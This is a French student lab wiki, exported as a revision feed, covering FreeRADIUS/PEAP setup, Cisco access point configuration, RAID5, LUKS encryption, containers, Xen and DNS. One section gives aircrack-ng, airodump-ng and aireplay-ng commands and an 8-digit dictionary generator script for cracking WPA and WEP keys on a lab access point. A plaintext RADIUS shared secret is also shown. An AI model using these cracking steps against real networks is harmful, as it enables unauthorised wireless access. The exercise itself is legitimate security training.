Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
Et enfin, nous lançons le service freeradius :&lt;br /&gt;
  $ service freeradius restart&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :&lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_group17 group radius_group17&lt;br /&gt;
 aaa group server radius radius_group17&lt;br /&gt;
 server 193.48.57.183 auth-port 1812 acct-port 1813&lt;br /&gt;
 radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 dot11 ssid Hercule&lt;br /&gt;
 vlan 17&lt;br /&gt;
 authentication open eap eap_group17&lt;br /&gt;
 authentication network-eap eap_group17&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 ssid Hercule&lt;br /&gt;
 encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0.17&lt;br /&gt;
 encapsulation dot1Q 17&lt;br /&gt;
 bridge-group 17&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.1 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créeons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49124</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49124"/>
				<updated>2018-12-21T17:53:48Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Serveur Freeradius */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
